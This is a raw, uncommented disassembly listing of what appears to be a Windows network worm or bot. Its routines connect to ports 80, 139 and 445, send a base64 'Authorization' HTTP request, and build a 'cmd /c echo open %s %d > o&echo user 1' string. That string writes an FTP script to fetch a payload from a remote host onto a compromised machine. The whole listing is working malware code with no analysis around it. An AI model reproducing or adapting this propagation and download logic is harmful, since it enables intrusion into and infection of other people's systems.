arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 26604A7h nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26E0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ¼ db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 